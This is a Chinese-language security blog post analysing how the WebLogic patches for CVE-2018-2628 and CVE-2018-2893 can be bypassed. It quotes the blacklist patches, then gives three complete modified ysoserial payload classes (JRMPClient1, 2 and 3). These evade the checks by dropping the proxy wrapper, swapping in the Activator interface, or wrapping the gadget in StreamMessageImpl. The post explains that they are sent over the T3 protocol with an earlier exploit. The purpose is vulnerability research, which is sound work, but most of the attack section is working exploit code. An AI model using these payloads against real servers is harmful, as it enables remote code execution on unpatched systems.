Java 安全之Weblogic 2018-2628&2018-2893分析

nice_0e3發表於2021-01-19

Java 安全之Weblogic 2018-2628&2018-2893分析

0x00 前言

續上一個weblogic T3協議的反序列化漏洞接著分析該補丁的繞過方式,根據weblogic的補丁還是挺難找的,後面的分析中沒有補丁看不到weblogic修復的細節,但是也不難猜處weblogic的這些修復都是老做法,使用黑名單的方式去進行修補漏洞。

0x01 補丁分析

由於沒拿到補丁,這裡從廖師傅文章裡面扣除補丁的細節。

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;
   int len$ = interfaces.length;
   for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[i$];
      if(intf.equals("java.rmi.registry.Registry")) {
         throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
   }
   return super.resolveProxyClass(interfaces);
}

weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream類的地方新增了一個resolveProxyClass方法,將resolveProxyClass給重寫了,新增了一個傳遞過來的資料對應的介面進行遍歷驗證,如果為java.rmi.registry.Registry的話就直接丟擲異常。如果不為java.rmi.registry.Registry就呼叫父類的resolveProxyClass

0x02 繞過思路

在2018-2628的繞過方式其實有兩種,分別是:

  1. 在補丁裡面僅僅只是限制了需要反序列化的資料為使用java.rmi.registry.Registry以外的類的介面,但是其實遠端物件的介面不止java.rmi.registry.Registry這麼一個。

廖師傅這裡提供的繞過方式是將該介面替換成java.rmi.activation.Activator。即可繞過。

  1. ysoserial修改把Proxy部分去除掉,即可繞過補丁。這裡來思考一下為什麼Proxy部分去除就可以繞過了呢?

在前面的原生readobject分析文章裡面講到過readobject裡面會走兩個分支,反序列化的是動態代理的物件的話就會走resolveProxyClass分支裡面,這裡去除了Proxy部分內容,也就是說不使用動態代理的方式生成payload進行反序列化自然不會走到resolveProxyClass分支裡面去。

0x03 利用思路

後面的除錯內容,其實和前面的都是一樣的,這裡直接講講利用。

改寫ysoserial

利用思路一,不使用代理物件:

package ysoserial.payloads;


import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;



public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if (sep < 0) {
            port = new Random().nextInt(65535);
            host = command;
        } else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
        PayloadRunner.run(JRMPClient1.class, args);
    }
}

對JRMPClient做一個小小的改動。

利用方式二,修改實現的遠端介面為java.rmi.activation.Activator

package ysoserial.payloads;


import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject (final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
    }
}

0x04 CVE-2018-2893

CVE-2018-2893是CVE2018-2628的繞過,先來檢視一下CVE-2018-2628的補丁細節

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

改寫ysoserial

這裡利用方式是將遠端的gadget物件封裝進streamMessageImpl類裡面,和CVE-2016-0638一樣,不過這裡用的是JRMPClient的gadget。

在改寫的時候需要,注意幾個細節。JDK裡面沒有streamMessageImpl類,這裡需要講weblogic的一些依賴jar包和類的程式碼給複製過來。這裡是講weblogic_cmd裡面的部分內容扣出來放到了yso裡面。

package ysoserial.payloads;


import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {

    public Object streamMessageImpl(byte[] object) {
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        streamMessage.setDataBuffer(object, object.length);
        return streamMessage;
    }

    public Object getObject (final String command ) throws Exception {
        String host;
        int port;
        int sep = command.indexOf(':');
        if (sep < 0) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID objID = new ObjID(new Random().nextInt());
        TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
        UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
        RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
        Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
        return streamMessageImpl(Serializer.serialize(object));
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
        PayloadRunner.run(JRMPClient3.class, args);
    }
}

參考文章

Weblogic JRMP反序列化及繞過分析

weblogic之CVE-2017-3248,CVE-2018-2628,CVE-2018-2893,CVE-2018-3245反序列繞過分析

0x05 末尾的絮絮叨叨

其實知道繞過方式和利用方式後,從yso進行一個修改打包成jar包,使用到上次2017-3248的時候用到的exp修改引數,通過T3協議傳送payload過去就可以實現繞過了。和前面的內容都是一樣的都是同一個漏洞,所以在這裡不做多的贅述。

相關文章